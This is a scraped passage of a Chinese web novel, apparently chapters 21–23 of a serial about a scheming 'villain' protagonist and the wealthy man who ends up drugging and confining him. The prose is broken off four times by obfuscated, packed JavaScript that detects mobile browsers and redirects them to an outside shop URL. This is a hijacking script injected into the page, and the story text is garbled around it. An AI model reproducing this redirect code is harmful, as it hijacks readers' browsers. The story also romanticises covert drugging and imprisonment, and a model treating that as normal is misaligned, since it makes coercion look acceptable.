但对贫民区的孩子来说,这些不算奢求的东西已经是奢求了,他必须得先在这个地方活下去。 直到某天外面电闪雷鸣起,第二天那个大屏幕再也放不了外面的世界了,叶寒枝依旧站在那里仰着头看着那个大屏幕,心里却已经下定了决定。 ——他要离开贫民区。 顾砚礼回头看了一眼怔怔的叶寒枝,以为叶寒枝是在担忧网上的事,不由来到叶寒枝身边轻声说,“网 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14010179|147342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的事很快就会解决,你别怕。” 叶寒枝抬起眼对上顾砚礼温柔的双眸,这里面带着安抚和真诚,映照出叶寒枝的脸。 叶寒枝微微一笑,“我相信你。” 顾砚礼唇弯了弯,“嗯,准备吃饭了,洗个手。” 叶寒枝踏进厨房,“我端一下盘子。” “我来就行。” 快到冬天了,白日越来越短,吃完饭后天已经黑了。 刚把餐桌收拾了,顾砚礼便接到了沈助理的电话,虽然叶寒枝听不清他们在说什么,但肥啾在一旁实时转播。 「沈助理说逮到那个要爆料你的人了。」肥啾说,「对方要和顾砚礼谈判。」 叶寒枝看着手指头,「嗯,就是那个老乡?那顾砚礼怎么说?」 「顾砚礼说晚点会去见他,啾。」 叶寒枝敛眉,他心想顾砚礼真忙,又要去见那个人又要去见自己的母亲,还都是因为同一件事。 他一边思索着顾母会和顾砚礼说些什么,一边随手抓起一旁的抱枕一动不动地看着顾砚礼,顾砚礼给沈助理那边打完电话后回过头来对上叶寒枝的视线。 叶寒枝微微一笑,“怎么了?” 顾砚礼摇了摇头,他挨着叶寒枝坐下后问,“要不要去看电影?” “不用。”叶寒枝说,“你一会儿是不是要出去?” “嗯。”顾砚礼颔首,他把叶寒枝拢入怀中,轻声说,“我要去见母亲。” 叶寒枝哦了一声。 顾砚礼说,“等网上的风波平息了我们就回家去,然后准备结婚的事好不好?” “事到如今,你觉得我还能和你结婚吗?”叶寒枝问。 顾砚礼心头一突,他喉结滚动了一下,看向叶寒枝的眼睛,那双总是带着温柔笑意的双眼此刻毫无情绪地看着他。 “寒枝你不要担心,我……” “你以为你母亲叫你回去是做什么?”叶寒枝的声音平静到有些冷漠,“顾砚礼,你有没有察觉到其实我——”并不喜欢你。 “对了。”顾砚礼忽地松开叶寒枝站起来,不知道是不是意识到叶寒枝想说他不爱听的话,打断叶寒枝的话后他没敢看叶寒枝,后退了好几步说,“这里回去有将近一个小时,之后我还得去见个人。” 叶寒枝神色淡淡地看着他没说话。 “我……”顾砚礼喉结滚动了一下,别过脸,强自镇定地笑了一下,“我先走了,等我回来我再告诉你好吗?” 几乎是落荒而逃般,顾砚礼迅速离开了别墅之中,叶寒枝看着紧闭的门看了许久又慢慢地收回视线来。 「怎么?舍不得了?」肥啾问。 叶寒枝没说话,却划开了手机点进对话框打下六个字。 「什么时候过来?」 …… 顾砚礼抓紧了方向盘,他抿紧了唇看着前面的红绿灯,脑子里不断回忆起叶寒枝说那些话话的表情。 他很想强迫自己不要多想,可无论如何也压不下去叶寒枝冷淡的表情。 仿佛之前的情意绵绵都是假的一般。 那是一个他完全不熟悉的、一个陌生的叶寒枝。 身后的鸣笛声催促着他快走,顾砚礼才回神看见红灯早已变绿。 顾砚礼一踩油门冲过斑马线,他紧紧地看着前方,余光却扫见错身的车辆里熟悉的脸。 那是——季肖。 21.金丝雀21 顾砚礼下意识看向后视镜,甚至隐隐约约能看见季肖脸上带着愉悦的表情,在下一刻,车子彻底消失在视线中。 看那辆车去的方向,是浅水湾。 这种时候,现在这种时候季肖去浅水湾做什么?他不记得季肖在浅水湾有房子。 顾砚礼的心骤然紧缩,不妙的预感瞬间袭上心头,可这里车子根本不能掉头。 他只得耐着性子去前方掉了头,听着你已超速的提示音,眼前甚至有些模糊。 …… 但仅一瞬间,他的视线又焦距起来。 手机疯狂响动起来,是顾父。 顾砚礼按下接听键,勉强稳住自己的声音,“父亲,我现在可能没时间回家了,我现在有点事很重要,明天我再回来。” 那边顾父的话还没说出口,顾砚礼的电话已经挂了。 顾父看了一眼顾母,两个人眼中都露出了担忧的神情,“是不是出什么事了?” “也许是网上的事。”顾母说,“不如我们也去浅水湾走一趟?” …… 叶寒枝撑着脸刷着手机看网上的舆论。 「娱乐圈的声明看看就得了,之前那个塌房的还声称报警了呢。」 「那叶寒枝和那个比辱叶寒枝了吧?叶寒枝是年少时为了生存做了错事,为了活下去很多事是可以原谅的。」 「骗人钱财和感情是没骗在你身上哈。」 「那也得他愿意骗我,我又没钱……」 「现在连证据都没有,就因为有人匿名爆料了几句,是真是假都不知道你们也是嘲上了,让子弹飞一会儿,娱乐圈反转还少吗?」 「点了。现在你们骂得起劲,到时候反转了你们会道歉吗?要我说,叶寒枝不开账号是对的,起码还有净土。」 「……他对象顾总微博在那里呢。」 「不过没几个人敢去顾砚礼那里骂,毕竟看星河娱乐出公告的速度,说不定明天就告几个杀鸡儆猴了。」 「笑死,也是怕了哈,不过我支持顾砚礼护妻。」 「平时说说就算了,这种时候不要三观跟着五官走啊!」 叶寒枝:“你看,我和顾砚礼也是绑定上了,他迫不及待官宣,也不知道现在后不后悔。” 肥啾:「……」 叶寒枝把手机丢到一旁,任由手机的铃声响了又停。 「顾砚礼在回来的路上了。」肥啾说,「不接一下他的电话吗?」 叶寒枝打了个哈欠,“接他电话他要出车了怎么办?电视里边不都这么演吗?” 肥啾:「……你还挺为他着想……阿啾。」 叶寒枝睁开眼看着天花板上的吊灯,许久才说,“我倒是很想知道,面对一个从头到尾都在骗他的人,他会怎么做。” 「他刚才不是跑了吗?」 叶寒枝:“……” 手机安静了下来,叶寒枝抬起手,看着手指上的戒指嘟囔,“也不知道这个值多少钱,能拿去卖了吗?” 他沉默了片刻,缓缓地把戒指取下来,这个戒指戴上的时间太短,其实他并不习惯戴这些东西在手上。 门铃声响起,叶寒枝站起身,脚步轻快地去开门,待看清外面的人后,他微微皱眉,“沈助理?” 沈助理微微一笑,“叶先生,顾总让我把这个人带来给你看看,他在网上散播你的谣言这件事要怎么处理。” “谣言?”叶寒枝的视线移到叶寒枝旁边的男人身上,“这是谁?” 男人看清叶寒枝的脸时茫然了一瞬,像是没认出来,很快他又冷笑起来,“叶寒枝,你现在傍上大款了,也不记得我了。” 看起来是前反派认识的人,肥啾并没有给叶寒枝前反派的关系网,以至于叶寒枝并不认识认识面前的人。 叶寒枝挑了下眉,“沈助理,我对和不认识的人说话并不感兴趣,处理这样的话说得也□□了,现在是法治社会,应该交给法律解决。” 沈助理:“……” 他还记得顾砚礼交给他的任务,待在这里直到顾砚礼回来,绝对不能让其他人单独见叶寒枝。 沈助理说,“叶先生说的对,不过我们是否也该看看这人为什么要做这些吃力不讨好的事,毕竟明天他还要和狗仔连线,我们也好提早应对。” 叶寒枝抬眸看着沈助理,他很少注意顾砚礼身边的人,这是第一次正眼去看顾砚礼这个得力助手,很典型的精英打扮,脸上带着丝毫看不出异样的笑容。 叶寒枝轻笑一声,“沈助理有女朋友吗?” 沈助理不知道话题怎么转到这里来了,他谨慎回答,“孩子已经两岁了。” 叶寒枝撑着脸,“两岁,那正是需要爸爸妈妈陪伴的时候。” 沈助理:“……是,是的。” “所以你为什么不回去陪老婆孩子,要待着这里和我说这些没营业的话?”叶寒枝瞥了一眼旁边一直盯着他看的陌生男人,“特别是带上这种人来我面前,你这是打算……让我绿了你老板?” 沈助理笑容差点没稳住,“叶先生。” “可惜他长得太丑了。”叶寒枝拿起杯子喝了口水后慢吞吞地说,“有碍观瞻。” 旁边的男人咬了咬牙,“叶寒枝!” “他想说什么就说吧。”叶寒枝双手捧起杯子站起来,“我没时间搭理他,沈助理最好还是赶紧把他带走比较好。” 沈助理:“……叶先生。” “我也不想为难你,毕竟你也是个打工人。”叶寒枝幽幽叹气,脸上的表情似认真似在开玩笑,“但陌生人在这里待太久了我会焦虑,一焦虑我可能会去厨房拿刀,到时候可能就要演变成社会事件了。” “叶先生开玩笑了。”沈助理微笑着,“我带他来只是想解决这次网上的风波,那也是我的工作。” “网上的事自有我的经纪人帮我解决。” “顾总那边——” “这边报警的话警察出动得应该很快,我是先报警还是先拿刀保护自己比较好?要不然先拿刀吧。”叶寒枝似是自言自语朝着厨房走去,“沈助理,你问你旁边那个人就知道,我不是开玩笑哦,再不带他离开这里的话,你的孩子可能就没有爸爸了。” 旁边的男人脸都变白了,他一边叫着疯子一边往外跑,“都说了叶寒枝不正常,你想死别拉上我。” 沈助理三两步拽住了想逃跑对的男人然后看向厨房门口,他跟在顾砚礼身边,多的是和有礼貌的人打交道,就算私底下龌龊极多,表面也会保持友好,叶寒枝这种完全不顾后果的人让他不知如何应对。 他当然不可能因为这份工作搭上自己的命,想到这里,沈助理莫名有些同情顾砚礼,不知道顾砚礼会不会后悔引狼入室。 叶寒枝出来时屋内已经没人了。 肥啾在一旁瑟瑟发抖,它小声,「你真打算杀他啊?」 「你觉得呢?」叶寒枝随手把水果刀丢在桌上,不紧不慢,「接下来的戏份和沈助理没什么关系了,我人好,不让他参与。」 肥啾:「……」可它能感觉到刚才叶寒枝是真的很烦躁,难道是真的对顾砚礼动心舍不得了? 「你该不会把自己玩进去了吧?」肥啾嘀咕着,「别忘了我们是反派。」 叶寒枝笑了一声,他温温柔柔地开口,“你是不是对我有什么误解?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14020283|147342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 肥啾:「……」 门被叩响,打断了叶寒枝和肥啾的对话,他开门的时候还颇为不耐烦,“不是说会早些到吗?” 季肖连忙讨好道,“是我的错,路上有点堵车。” 叶寒枝抬了抬下巴,“进来,然后关门。” 季肖关了门后小心翼翼地跟在叶寒枝身后,“你需要我帮你做什么?” 叶寒枝说,“跟我上楼就好了。” 季肖的视线落在叶寒枝身上,叶寒枝穿着柔软的睡衣,睡衣有些大了,松松垮垮地挂在身上。 「顾砚礼到哪里了?」叶寒枝问。 「在堵车。」系统说,「大概还有十五分钟左右到家。」 季肖跟着叶寒枝进入房间还有些不安,他说,“网上的事我这边想了几个方案,能把对你的影响降到最低。” “我找你来不是为了这件事。”叶寒枝靠在窗边往外看去,“有别的事要和你谈。” 季肖愣了愣,“嗯,你说。” “你也知道的吧,网上说的那些都是真的。”叶寒枝看向季肖,“我比你想象得更恶劣。” 季肖下意识往前走了几步,靠近叶寒枝,“我不在乎这些。” “嘘……”叶寒枝竖起手指抵在唇间,笑意明媚,“你知道的,我曾经说过我喜欢有权有势的男人,顾砚礼就是这样被我盯上的。” 季肖的目光跟着叶寒枝的手指移动,唇动了动,“我知道,我不在意。” “但是现在……” 「顾砚礼回来了。」 “我已经不满足于此了。”叶寒枝伸出手轻轻地拍了拍季肖的肩,“你懂我的意思吗?” 季肖怔怔地看着叶寒枝的脸,青年的脸上带着温柔的浅笑,眉宇间却是极致的野心和诱惑,让他不自觉地点了点头。 「他上楼了。」 顾砚礼深深地吐出一口气来,手握上门把,房内传来的声音让他动作僵硬在原地。 “你知道,我从来没喜欢过顾砚礼。” 叶寒枝的声音依旧是他熟悉的温柔,那温柔的话语却让顾砚礼的心脏骤停。 “现在相比起依附他,做被他包养的金丝雀,我更想取代他的位置。” 顾砚礼握着门把的手一点点收紧,如同他紧缩的心脏,相比起取代他的位置这句话,他更害怕的是叶寒枝说没有喜欢过他。 爱怎么能演出来呢?寒枝肯定是不想连累他而已。 明明……说过的,不喜欢季肖。顾砚礼的眸光一点点熄灭,他觉得肯定是他听错了,可他甚至没有推门而入的勇气。 “我帮你。”季肖坚定的声音传来。 “顾砚礼好过分啊……他曾经有喜欢的人对吧?他把我当做其他人的替身,你知道那个人吗?”叶寒枝像是在埋怨又好像是委屈,“你知道的对吗?” 什么喜欢的人?什么替身?顾砚礼有些费力地想,他怎么听不懂。 里面的季肖已经念出了一个名字,这个名字有些陌生又有些熟悉,好像是他曾经在片场帮过的一个小明星,这个小明星总是送他东西表示感谢,在他明确拒绝后小明星就再也没来过了。 这个人……季肖明明知道不是的。 明明知道。 顾砚礼终于推开了门,从他的角度看过去,青年和季肖隔得极近,在听见开门声后青年猛地推开了季肖,两个人看了过来。 顾砚礼看得很清楚,叶寒枝在看见他时也没什么特别的情绪,眼底的淡漠如同他们并不是耳鬓厮磨过的枕边人一般。 “顾——” 季肖刚开口,顾砚礼携裹着怒火与嫉妒的拳头已经砸在他的脸上。 22.金丝雀22 季肖毫无防备,被这一拳揍得后退好几步,他稳住身体后偏过头吐出一口血沫,季肖摸了摸破了的嘴角,抵了抵腮看向顾砚礼。 顾砚礼眼底又沉又暗,暗灰色的瞳孔深不见底,他没有给季肖说话的机会,又挥拳而来,这次季肖没有任由他打了。 两个男人毫无章法的你来我往,拳拳到肉,拳头落在身上听着都疼。 叶寒枝双手环抱着,冷眼看着两人打,没有要阻止的意思。 “顾砚礼!”季肖怒而喊道,“你的涵养呢?” 顾砚礼没说话,他的脸上没有什么情绪波动,阴郁至极。 “自己留不住寒枝的心,现在是在冲我发泄你的怒火吗?”季肖冷笑,“也对,从小到大你想要什么就有什么,所以把寒枝也当做你随意可得的物品了对吗?现在这个物品有了自己的想法你不爽了?” “胡说八道!” 顾砚礼不想多言,又一拳挥去。 “你和寒枝本来就不是一路人。”季肖被打得闷哼一声,他堪堪挡住顾砚礼的手,“他不是你的金丝雀。” 顾父顾母到浅水湾时,叶寒枝正坐在沙发上撑着脸打哈欠,对上顾母的眼神,叶寒枝淡定地移开视线。 顾父大跨步走进来,沉着脸一左一右拉开顾砚礼和季肖,“你们两个像什么话?都给我住手!” 顾砚礼擦了一把嘴,后退两步勉强稳住自己的情绪,声音有些沙哑,“爸妈,你们怎么来了?” “不来怎么知道你们在做什么?”顾父冷冷道,“兄弟间什么不能好好说,非得打起来。” “你看你这脸。”顾母轻皱起眉,又看了一眼季肖发现季肖脸上的伤看起来更严重,“我叫医生来看看。” “不用了,我是来找寒枝的。”季肖朝叶寒枝走来,“我现在和寒枝离开——顾砚礼!” 顾砚礼没有给季肖靠近叶寒枝的机会伸手握住叶寒枝的手,把叶寒枝挡在自己身后,他说,“他不跟你走。” “你说他不走就不走?”季肖觉得可笑,“你凭什么把他留在这里?” “我是他未婚夫。”顾砚礼冷静道,“你知道什么是未婚夫吗?需要我和你解释吗?” 顾父和顾母对视了一眼,意识到一切都是因叶寒枝而起,偏偏叶寒枝本人低垂着眼帘不说话,也不知道在想什么。 顾父开口道,“你们别吵了,先坐下好好谈谈。” “爸妈,你们先回去。”顾砚礼攥紧叶寒枝的手腕,“已经很晚了。” “你——” “我自己能解决。”顾砚礼看向父母,“你们先回去。” 顾父皱着眉看了顾砚礼许久,拉了一下顾母说,“走吧。” 顾母看看顾砚礼又看看顾父,最终还是什么也没说,离开了。 回去的路上,顾母担心地问,“阿礼那边真的没问题吗?” “他自己能处理。”顾父道,“我们只需要相信他就行了。” 顾母便不再说话。 留在别墅里的顾砚礼冷冷地看着季肖,“你该走了吧?” 季肖淡淡地瞥了一眼顾砚礼,又看向叶寒枝说,“寒枝,走吧。” 顾砚礼收紧了手,“他不会跟你走。” 季肖说,“你放开他,他自然会和我走。” 叶寒枝眉梢微动了动,他看向被顾砚礼越握越紧的手腕有些不解,老实说,叶寒枝打心底不相信顾砚礼是真的喜欢他,他自己是没什么真心的人,其他人所谓的真心对他来说自然也假的可怜。 虚假的爱,不过是自我感动罢了。 叶寒枝一根手指头一根手指头地掰开顾砚礼的手,淡淡道,“顾砚礼,松手吧,既然已经到这种时候就不用装情深了。” 顾砚礼呼吸一窒,被叶寒枝掰开的手指一点点地泛凉,一直凉到心脏处,他喃喃的,带着几分哀求地叫着,“寒枝。” 叶寒枝的手腕彻底解脱出来,他看着腕上的红痕,微微蹙眉。 “寒枝。” 顾砚礼的指腹刚碰到叶寒枝的手腕,叶寒枝便倏地收了回去,他冷冷地看着顾砚礼,“还有什么事吗?” “有事。”顾砚礼手指蜷缩着慢慢攥紧,“我有些话要和你说,说完了你再走可以吗?” 季肖连忙开口,“寒枝,不要听他的,你们之间自己没关系了,他是想报复你。” 顾砚礼没搭理季肖,他只是看着叶寒枝,眼神温柔哀伤,“只是想和你说一些话。” 叶寒枝还有些期待顾砚礼想怎么报复他,他抬了抬下巴,“季肖你先出去吧。” “寒枝。”季肖叫道。 “出去!”叶寒枝的话不轻不重,却有些不高兴了,“我不喜欢不听话的。” 季肖张了张嘴,最后恶狠狠地瞪了顾砚礼一眼转头出去。 叶寒枝揉着手腕,“说吧。” 顾砚礼取来了医药箱,低声说,“对不起,刚才我太用力了。” 叶寒枝避开他的手,“我们已经没必要再说这些了,也不要再浪费彼此的时间了,你到底要说什么?” 顾砚礼握着手中的药膏,半晌才说,“网上的事情我已经联系公关部直接给最开始的营销号和狗仔发律师函了,那个人也不会再出去胡说八道的。” 叶寒枝似觉得顾砚礼天真一般,他眼底带着轻嘲,“你该不会以为做了这些就能感动我了吧?顾砚礼,我对外面怎么评价我根本不在意,名声如何也不影响我的生活。” “我在意。”顾砚礼的声音很轻,“我不想让那些人骂你,也不想他们戴着有色眼镜看你。” 叶寒枝耸了下肩,“行吧,随便你,如果你要说的是这个,那么应该说完了吧?” “寒枝。”顾砚礼又叫,“季肖不能给你你想要的,他做不到的。” 叶寒枝捏了捏中指,顾砚礼的眸光黯淡下来,他早就发现叶寒枝把戒指取下来了,之前明明……明明不是这样的,他不相信叶寒枝全都是演的,肯定还发生了什么他不知道的事情,否则叶寒枝不可能突然想要离开他。 “我直说了吧。”叶寒枝揉了揉脑袋摊牌,“我们最初见面的时候也是我计算好的。” 顾砚礼愣了愣,“什么……计算好的。” “初遇,其实那个时候我打听到你在和客户见面所以特意去的那里。”叶寒枝说得轻巧,眼中是明晃晃的愚弄之色,“我对那个男人的想法心知肚明,所以在那个男人出来抽烟的时候,我看见了你在打电话了,所以故意去和他搭话给了他错误的暗示。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他跟在两个人身后,眼看着叶寒枝上了季肖的车,车子消失在眼前。 偌大的别墅跟以前似乎毫无区别,可顾砚礼却觉得空荡荡的,冷得刺骨。 他后退两步,余光扫到了旁边茶几上的戒指,在灯光下折射出亮眼的光芒来。 顾砚礼握紧了那枚戒指,直到戒指在掌心微微变形。 叶寒枝选择了季肖…… 可是凭什么? 顾砚礼脑子里冒出以前从来没有过的想法,季肖什么都不能给寒枝,凭什么能拥有寒枝? 一想到叶寒枝会对季肖撒娇,会和季肖做与他做过的那些事,顾砚礼的心脏便紧缩起来,让他控制不住地嫉妒。 他以前从来不觉得自己会嫉妒谁,会特别讨厌谁。 不能接受叶寒枝离开他。 不能接受叶寒枝不要他。 不能接受叶寒枝和其他人在一起。 不能接受…… 顾砚礼压下眼中的晦涩,拨打了电话,那边接通后,顾砚礼看着掌心中有些许变形的戒指,低声问,“养一只金丝雀需要多大的笼子?” 23.金丝雀23 这几天过得格外平静,但季肖会定时来找叶寒枝。 从顾砚礼家离开的时候,季肖是想直接带叶寒枝去他家的,不过叶寒枝拒绝得很干脆,最终,季肖还是带叶寒枝来了酒店。 叶寒枝坐在酒店的沙发上问肥啾顾砚礼现在什么动静,星河娱乐顶级公关之后,顾砚礼的微博再没有更新过,但网上的舆论彻底偏向叶寒枝,广场都是心疼叶寒枝小时候过得那么惨的,偶尔有几句质疑也很快被压了下去。 娱乐圈的瓜很多,叶寒枝的瓜热度消退后,取而代之是各种新鲜瓜。 叶寒枝知道,他和季肖说取代顾砚礼的位置这些话顾砚礼听见了,不过为什么没有动静呢? 叶寒枝不解地想,难道顾砚礼完全不在意?不至于好脾气到这种程度吧? 「好像真的没什么动静。」肥啾嘀咕着,「还坐在办公室和人谈工作呢,啾。」 叶寒枝皱眉:「他真的这么圣父?」 肥啾说,「要不你再去他面前刷刷存在感?啾」 「唔……」叶寒枝抬头看着天花板,「让我想想。」 季肖提着午餐敲开叶寒枝房间的门走进去,他说,“我打算从星河娱乐离职。” 叶寒枝抬眸看着他。 “也接受了森行的邀请。” 森行算是星河娱乐的对家,曾经还有过对赌协议。 叶寒枝撑着脸,“看起来你完全不在意顾砚礼什么想法了,之前不是好兄弟吗?” 季肖听得出叶寒枝口中的讽刺,他打开饭盒,只笑了笑,“吃饭吧。” 叶寒枝接过季肖递过来的筷子,“我是星河娱乐的艺人。” “嗯。”季肖看着叶寒枝,“我给你付违约金,我们去森行。” 叶寒枝咬着筷子对上季肖诚恳的双眼,却笑了起来,他说,“你为什么觉得我会跟你去森行?因为我和顾砚礼闹翻了?你觉得我会放弃在星河娱乐那么好的条件离开吗?” “顾砚礼他以后……” “我不需要你给我做决定。”叶寒枝的表情泛着凉意,“我说了我要留在星河,我说了我看中的是顾砚礼手中的东西,你以为我是那些乖乖听你安排的小明星吗?” “……”季肖意识到自己踩雷了,他低声说,“抱歉,是我的错,我会留在星河帮你。” 叶寒枝不置可否,他淡淡道,“狗也要听话一些主人才会喜欢。” 季肖答应了一声。 肥啾大为震撼,「之前他可不是这样的态度,怎么现在一步一步地……你是什么训狗人吗?” 叶寒枝:“……” 明明是智能系统,但偶尔表现得反而很像智障呢。 不过他的确得去星河露面了。 …… 天色渐晚,顾砚礼揉了揉眉心,他点开邮件,平静地看着邮件里的照片,只是一些很平常的照片,可看得出来,那些事对叶寒枝来说毫无印象。 他下拉到最后一张时停下,另一个人的手入镜,按在叶寒枝的手上。 顾砚礼很清楚这是谁,这几天发来的照片,偶尔会有这个男人入镜,但私家侦探说季肖在叶寒枝那里待的时间不会太久,这让顾砚礼放心不少。 ——寒枝肯定没看上季肖。 他捏着鼠标的动作微微收紧,许久才关了电脑。 不能再任由季肖随意和寒枝接触了。 …… 第二天一早,叶寒枝拎着外套进入了星河的大门,来往的人都要偷偷看他一眼然后飞快离开。 星河的员工只知道顾砚礼官宣和叶寒枝的事,并不知道叶寒枝和顾砚礼已经闹翻了,甚至还有小明星屁颠屁颠地喊他叶哥。 叶寒枝瞥了一眼那个小明星,忽然停下脚步朝小明星勾了勾手指头,“过来。” 小明星睁大眼凑过去,“叶哥叫我吗?” “是你。”叶寒枝说,“有些事要问你。” 小明星忙不迭点头,他其实并没见过叶寒枝,只这两天在热搜上吃过瓜,这会儿见到叶寒枝本人时脑子里还迷糊地想着,这动作和顶级小白花有点不太符合啊…… 顾砚礼进来时,叶寒枝正勾着笑替小明星理了理衣服,“乱了。” 小明星脑子更迷糊了,他恍惚地想,这……这谁顶得住啊?难怪顾总迫不及待地官宣。 顾总…… 顾总! 小明星一个激灵,对上了顾砚礼那双暗灰色的双瞳,他连忙喊了一声顾总。 叶寒枝看向顾砚礼,他有些遗憾地发现,顾砚礼看起来似乎已经完全抛却了那些感情,现在就站在他的面前,直勾勾地看着他。 他就知道,男人的感情,是最不靠谱的东西,用那种方式大概也就让他痛苦了那么片刻而已。 “顾总。”叶寒枝挂着疏离的笑容,“多日不见,你看起来似乎过得不错。” 顾砚礼唇动了动,强迫自己压着那些汹涌澎湃的思念和感情。 顾砚礼掩下眼中的暗色,声音有些低哑,“走吧。” 叶寒枝挑了挑眉跟上。 顾砚礼按下楼层,看着变换的数字,他低声问,“你这几天过得好吗?” 叶寒枝说,“谢谢顾总关心,过得不错。” “那就好。”顾砚礼声音很轻,“我一直很想你。” 叶寒枝余光落在顾砚礼侧脸上,男人的眼微垂着,睫毛也半遮着眼,看起来有几分疲惫,似乎是没休息好。 叶寒枝道,“想和我解约吗?” 顾砚礼倏地看向叶寒枝,“解约?你今天来,是和我解约的?” 叶寒枝淡淡一笑,“既然摊牌了,我可不敢赌顾总您以后不会对我公报私仇,我当然不会等着这一天到来。” 电梯叮的一声到顶层了,顾砚礼看着叶寒枝跨出电梯后的身影,单薄纤弱的,但是没有人知道叶寒枝心底到底在想什么。 顾砚礼本来一直在犹豫着,自己要做的事或许错得离谱,可听见叶寒枝说出这句话的时候他就知道——他错在这几天让叶寒枝离开了他的身边,以至于叶寒枝想要彻底地离开他的视线。 他不会允许叶寒枝离开他。 顾砚礼大步走到叶寒枝身边,“我这几天收拾了一下家里。” 叶寒枝:“我不记得自己有留东西在你那。” 顾砚礼:“……有。” 叶寒枝:“那你寄给我。” 顾砚礼推开办公室的门,“你和我回去拿。” 叶寒枝瞥了一眼顾砚礼说,“行,什么时候。” 顾砚礼倒了杯水,他凝视着颜色偏紫的水杯,半晌才递给叶寒枝,“就现在。” 叶寒枝蹙眉:“我才刚来就要走?” “除了拿东西,你的合同都在我那里。”顾砚礼神色淡淡,“到时候我也会让律师直接去浅水湾。” 顾砚礼爽快得厉害。 叶寒枝正要放下杯子,肥啾忽然开口,「这里面有安眠药哦,啾。」 叶寒枝:「他因爱生恨想杀我?」 肥啾:「那不正好吗?反派被男主杀死。」 叶寒枝:「……」系统也变了。 「不过你放心吧,他可是根正苗红的三好青年,怎么可能杀你。」肥啾说,「可能就是想打你一顿出出气。」 叶寒枝呵呵笑了一声。 「或者他想和你做恨。」肥啾又嘀咕着,「你觉得呢?」 果然是人工智障啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14037648|147342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …… 叶寒枝握着水杯的手指轻轻摩挲着杯口,然后抬眸看向顾砚礼,“合同不是应该在人事部吗?” “你的合同属于我。”顾砚礼定定地看着叶寒枝,“还是说,你不敢和我回去?” 叶寒枝的字典并没有不敢这个词,他没有什么迟疑地把杯子里的水喝了然后站起来,“走吧。” 顾砚礼的视线从桌上空空如也的杯子上扫过,眸光晦涩不明。 车子平稳的行驶在马路上,车载音乐温柔舒缓,十分催眠。 顾砚礼轻声细语地和叶寒枝说话,“会不会太闷了?” 叶寒枝看向窗外,“挺好。” “马上要到冬天了。”顾砚礼似乎没看出叶寒枝的不耐烦,“天气开始冷起来了。” 叶寒枝看向顾砚礼。 “冬天很冷,小鸟在北方是很难活下去的。”顾砚礼说,“是不是把鸟儿带回家比较好?” 叶寒枝眯了眯眼,“你养鸟了?” “是啊……” 叶寒枝按了按额头,困意一阵一阵地涌上来,他很清楚是那杯水的缘故,因为实在好奇顾砚礼到底想做什么,所以还是喝了。 毕竟顾砚礼给他的印象就是温柔的、没什么脾气的人,他不认为顾砚礼会做出什么反社会的事情,顶多打他一顿出出气而已……虽然打他也不用给他喝药,不过系统也说了,顾砚礼不会趁他睡着要他命这不就得了? 更何况他在这个世界的结局本来就是死,真要命也没什么,让顾砚礼这种根正苗红的年轻富豪杀了他后变成另一种人,老实说叶寒枝也觉得很有趣,比较可惜的是他看不到了。 顾砚礼的视线透过后视镜频频落在后座的叶寒枝身上,在看见叶寒枝陷入沉睡之后,他默不作声地加快了速度,眼底的光却在这一刻彻底消失。 他似是在回答叶寒枝刚才的问话,“养了一只想要逃离爱人的金丝雀,你说那怎么可以啊,金丝雀在外面会被欺负、被觊觎,所以他只能回到能保护他的人身边,对吗?” 叶寒枝当然没有回答他。 车子平稳地入了车库,顾砚礼静静地凝视着睡着的青年,从秀气漂亮的眉眼到挺翘的鼻梁,再到形状姣好的唇瓣。 漂亮又诱人的、如同伊甸园里引诱亚当夏娃的果实……顾砚礼附身把沉睡的青年抱进怀里。 人脸识别开门之后,顾砚礼抱着叶寒枝一步一步往房间而去。 尽管是白天,但房间里却没什么光,颜色深沉的窗帘把外面的光遮挡得严实,只隐隐约约能看清房间的布局和以前大不相同。 顾砚礼把叶寒枝放到床上,眸中的光明明灭灭,他抚摸着青年修长的手指,握着已经恢复如初的戒指推进了叶寒枝的手指,然后十指紧扣。 顾砚礼低下头轻吻叶寒枝的手指,唇角的笑在暗淡无光的房间里看不真切。 他呢喃着,“你肯定没有注意过,这上面刻着名字的,既然答应了和我结婚的戒指就不能随便取下来。” “说好了需要我的,那么也不能离开我。” “我一直觉得把人困在家里是错误的,你不是一只金丝雀,但事实告诉我,我的确错了。” 